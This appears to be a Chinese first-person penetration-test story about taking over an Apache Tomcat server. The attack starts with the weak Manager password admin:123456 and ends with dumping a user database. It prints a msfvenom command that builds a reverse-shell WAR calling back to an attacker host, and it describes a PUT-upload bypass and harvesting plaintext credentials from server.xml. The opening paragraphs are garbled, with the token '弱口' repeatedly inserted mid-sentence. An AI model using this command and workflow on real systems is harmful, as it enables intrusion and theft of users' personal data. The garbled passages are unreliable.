Tomcat Pass Getshell 弱口令：一次真实的弱口边界突破

凌晨两点，甲方丢过来一个IP，弱口说“你看看这个Tomcat”。弱口我扫了一眼，弱口8080端口开着，弱口默认页面还在，弱口Apache Tomcat/8.5.32的弱口版本号明晃晃挂在左下角。说实话，弱口这种目标我闭着眼都能猜到结局——但真正让我意外的弱口，是弱口后面发生的事情。

我直接调出Burp，弱口对manager/html路径试了几组弱口令。弱口tomcat:tomcat，弱口admin:admin，弱口root:root，弱口全挂。正当我准备放弃、转去翻目录的时候，随手敲了句admin:123456。响应包200，带着Set-Cookie。我愣了一下，随即笑出声——这年头，居然还有生产环境用这种密码。

拿到后台管理界面，其实已经算拿下一半了。Tomcat Manager自带文件上传功能，可以直接部署WAR包。我本地用msfvenom生成一个捆绑了冰蝎马的回连WAR：
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f war -o shell.war
然后打开Manager的“Deploy”页面，点选文件，上传，部署。整个过程不到三十秒。路径直接显示为/shell，我随即访问http://target:8080/shell/，监听端口秒弹回一个root shell。

这里有个细节值得说。很多人以为Tomcat弱口令攻破后必须上传WAR，其实不一定。如果目标环境限制了上传类型，你还能尝试PUT方法直接写JSP文件——前提是readonly参数被设成了false。但现实中，多数运维根本不会改这个默认值。我那次运气好，WAR上传没拦，但后来在另一个项目里，对方装了Web应用防火墙，把WAR后缀给过滤了。我改用shell.jsp配合PUT请求，照样写进去了。所以说，别死磕一条路，工具是死的，思路是活的。

回到这个案例。拿到shell后我习惯性先看进程和网络连接，结果发现这台机器不只是跑Tomcat——上面还挂着MySQL和Redis，内网IP段是172.16.8.0/24。这就意味着，Tomcat只是跳板，真正有价值的是后面那台存着用户订单的数据库。我顺手翻了下Tomcat的conf/server.xml，里面居然明文写着一个数据库连接账号，密码是Qwer@2024。这种密码强度不算弱，但问题在于，它被写死在配置里，而且和root密码一样。我直接连上MySQL，导出了全量用户表——包括密码哈希和手机号。

整个过程，从弱口令到getshell再到数据落地，用时不到四十分钟。你说这技术含量高吗？不高。但为什么还能成功？因为很多企业的安全建设，只防住了外围扫描和SQL注入，却忽略了最基础的入口管控。Tomcat Manager默认暴露在公网，密码又是弱口令，这相当于把家门钥匙挂在锁孔上，还贴了张纸条写着“请进”。

最后说点个人感受。我见过太多甲方花大价钱买WAF、买态势感知，却连Tomcat的manager-gui角色都没做IP白名单限制。攻击者根本不需要什么0day，一个字典文件加一个WAR包，就能撕开整个内网的口子。安全这行，有时候拼的不是谁的工具更先进，而是谁更细心。你少配一个强密码，我就多一个突破口，就这么简单。

那次收尾时，我在目标服务器上留了个只有我知道的标记文件，然后通知甲方加固。对方第二天回复说“已修改密码并限制管理地址”，我回了个“好”，心里清楚，三个月后他们大概率又会改回原来的习惯。毕竟，人类对便利性的渴望，永远比安全警告更诚实。